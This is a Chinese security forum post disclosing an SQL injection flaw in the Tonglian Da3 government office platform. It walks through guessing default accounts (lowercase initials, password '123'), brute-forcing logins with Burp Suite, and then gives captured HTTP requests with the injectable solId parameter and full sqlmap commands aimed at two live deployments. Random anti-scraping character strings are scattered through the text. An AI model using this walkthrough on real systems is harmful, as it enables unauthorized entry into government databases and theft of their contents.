找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1646|回复: 0
打印 上一主题 下一主题

同联Da3协同办公平台前台通用sql injection漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:15:17 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

8 D; w& _. Q. O5 k
+ S) @0 _" T3 r& V2 Y0 P

- V6 d% D8 p W3 O" Q$ w/ ~# ^7 V

" }; R7 R7 d0 |4 p* f5 f 平台简介: % }* h6 S' v3 }& i

7 o) I Z& g/ i

" _: O8 J2 j+ @3 A3 E5 Q  8 l% T' Y" u! V' r

2 ~* o4 a+ Y' V5 ^% a

3 r/ ?4 Z2 T% P* g! P/ r8 f) ` 北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
1 h& Z' j6 W! b7 { 同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
3 E% H4 D1 P* N% p+ h8 E 同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献!+ h* `! k' S) e

]; i* v; K" b, s# N1 y

7 V) L' U2 t+ j: z  ) r9 ?& X: o7 w" j6 q* j9 F( \

1 }0 C7 H. ^' r

$ J- F) n! I; H8 R9 L 由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址:, G: O* ~! n7 Y- `7 L

- \! W. A3 |! u0 A8 w, y8 O/ t

- B: V$ M$ Y. R4 j0 S4 k1 I }0 @, S   ' M. `9 U" ?+ _4 ~2 A0 D( J$ z9 W4 R

0 j+ N9 [! N: P0 D

6 O( m/ ^1 o$ q: S* ]$ R http://1.1.1.1:7197/cap-aco/#(案例2-) $ p- ~ P! d: y( [

9 t; X% b! d: ]2 V

7 v# W) ^) r- W. D: z; b& R% q0 a http://www.XXOO.com (案例1-官网网站) T& ~3 b: M, p" Q! |: b6 l1 |

& u; G. F1 ^( b( q

, t; F- l. U8 U8 c* Z$ G* q: o   3 K0 n5 b6 `) H P5 P, n: g; ^

1 J" B7 |( u& h5 Q( i0 }7 ]; _$ `1 H

- Y# j7 [- I6 e. E0 w1 | 漏洞详情:+ L6 N3 S" P7 B( O

7 o( K8 p: L. t8 N/ B" A

! g1 S" G" j; X4 P4 ~) e  初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试- m8 G, r4 Z% i, V1 o0 o" @

# | r$ O. _ `( z! A" g7 }

7 C8 }5 s7 \$ Z0 P* z7 m! j      首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:6 \6 {) h" \0 a6 r2 m% a) O

. o6 c9 l& K! A4 R

+ M8 \# J. }" V6 g. Y' K; `   " \4 Q1 |; k7 `0 \" I! c

$ r/ ~ Q" D7 \/ e% z- z

; x, c7 J$ H0 ~( N8 x4 T) n6 }  $ V! A8 M C$ f. ?% y; ~

& w) T$ N( f0 u$ W0 B8 j

: r* y0 J* t4 ~, x! u status为302即表示破解成功,然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包,抓包的数据分别如下:* e8 l2 h- E) m

3 y; \) a; |& N7 d

2 l% @# W3 w* ^3 F A0 |1 U9 \ 1、案例1-官方网站1 Z1 H. h' g3 Z- u( f- g: \4 z( N

* Z t# q9 ^6 L# [& C7 Q. T

' l: e7 ~, v& M# P4 L! B; |7 I GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 8 ?3 k) @' B7 z e# @( F* ^5 b

4 i& Q8 Z- c' U5 m

- A8 X) ^( A$ } Host: www.XXOO.com 2 [/ H+ d6 d9 n( J9 }

( \& u, m3 U0 V5 s" C

6 U% B9 w! o, s7 v5 R7 O+ G0 ^* ]' t Proxy-Connection: Keep-Alive : U7 `# k, w2 J h! s; B

) }7 J- a2 [+ `8 {) `7 b* q

7 t7 \ A% t# x7 a6 W s" S Accept: application/json, text/javascript, */*; q=0.01* G! m7 E. V } ?5 U

7 G1 i+ [4 w3 \3 j" F

* i( L) \/ C. D& J) g Accept-Language: zh-CN. }5 A, |! k" ?1 D5 u+ F

+ N* _+ c% m3 |/ I3 e2 \

, w+ i$ ^& z' y8 w' Z0 W; [ Content-Type: application/json$ a0 d3 z. ~ N( w- b" J

0 T" P4 x0 h( Y/ J9 _0 e

. P* [& V& p/ i+ d: b6 X/ ` User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko 5 m6 V W1 ~2 q# ~ u

' f- O& I- @8 ?# {6 B* o$ j

* p4 e2 k/ ]& S0 w* _. _1 _ X-Requested-With: XMLHttpRequest ; n5 u9 v. i `" \- G. w

+ _" m2 o5 N0 `& b

4 d0 s7 h6 M }: a( X" \8 s3 H Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 ) Z* M( d1 Z* i1 }* X

, ^) \' T" g1 ?' j9 |3 A7 k* c: i

2 e- ]+ }7 e M& S Accept-Encoding: gzip, deflate, sdch. u+ M1 V! y5 E

" l: C6 l5 l; D: b( y. Q) O

8 s. v! O& K: F9 z Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e 7 E& M" i. o/ `0 j7 I$ t. G. o |

& y3 ^: K+ |( R1 j* p) B+ H1 x

% Q* W1 ^& N4 Z+ S/ j 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为:sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:& O% J1 U$ F7 H# T- h

( s) m' ?' A# E

* r* M& O! K& M- f  ! b8 I' h- a" S" }/ \, j

# E; J& s X! Q

7 `9 A% d$ d" _8 f   . v8 p. Y/ R1 k$ R* d

+ M0 R( u. n+ a

; g% n- a5 v0 {2 F4 i  $ [; X& r5 ^/ ^" S! s

2 l% R7 u* Y2 _' K' ? K

/ i0 V! d, P! e' f) s9 {, r  5 `9 \% N9 u8 O

& Q- [2 y' i- `5 v& E3 G9 L* a

. C$ Z o4 b( R7 \0 t  3 Q: T, E( ~' D" S0 M9 `/ n

# L5 [- E2 o) a! l+ O4 q

( I: `3 G% _2 ]& ~' w 2、案例2-某天河云平台 7 i, U2 v- b9 j- P: p1 h- }& p

. @" l& N. n; I) a+ k

9 o! c1 q( H" X% t4 ? \ GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1, R" N# f1 C- b. N( ]; C# ]3 n& Z

+ g( @( f, J# L% l% b. s

/ K. C% e! P5 _ Host: 1.1.1.:7197 ( `$ r8 Q# Q' ~% M

4 _; `7 b8 |" y8 X$ Z. N2 S l

' J- C. k% m8 X Accept: application/json, text/javascript, */*; q=0.01) c) m6 F# n; g, V( H* o

0 Q9 ] A" ?" r4 n# Y; A% j4 t( i

3 a' t! U$ p% M, g& ]8 K X-Requested-With: XMLHttpRequest- m0 ]( F% I( U% m6 b$ v

( A4 u, R$ ]- V2 \

4 h; x- k2 m0 q) A' H/ n1 h! n User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 $ g; e7 H- s$ _9 j8 O/ w) E! m

3 \& Z1 W+ S& p z0 |" J8 r* w

; F: s0 Y) j0 }# h; X- E6 h Content-Type: application/json f) o% V' |+ ?2 m5 l$ j1 u- {

# ~) g6 p) p5 \6 c

- p; C" a# \* \7 c0 I9 c Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 ( e8 G! Z0 E! r5 t9 N7 l4 B

r; _; @, ?# p5 R( q9 N2 O

x+ Y2 z* V |( n% o Accept-Language: zh-CN,zh;q=0.8 % k% |( o1 T- c! T

7 f6 I0 g# H, v" |9 }3 k' _ c2 k: R) F

- y) u, I) P# S3 `! s Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1; |8 Y# e$ U+ Y( v8 K( s7 j3 T& P

5 w" K2 C( x5 X5 }- N) H! d- K

* ~7 o7 T! g( u4 ]) z Connection: close 9 i5 ~5 R+ e; v# h+ I: f

( }; _' x: @: Z9 p$ t6 ~- U

/ A( @+ K0 h( y0 r 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为:sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:. }/ Y$ S7 q# S o2 J* z5 ~" @

& V9 |+ B/ [5 @0 b n

/ Q" I+ e! x/ C' S/ [   6 X- N! F3 O" f9 ?* i* b( n0 ?

7 {! I4 f# p4 m7 H+ h- j

8 ^ d6 o/ \. |- B3 t. b
+ a$ F* X7 }( e- F8 s& }

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表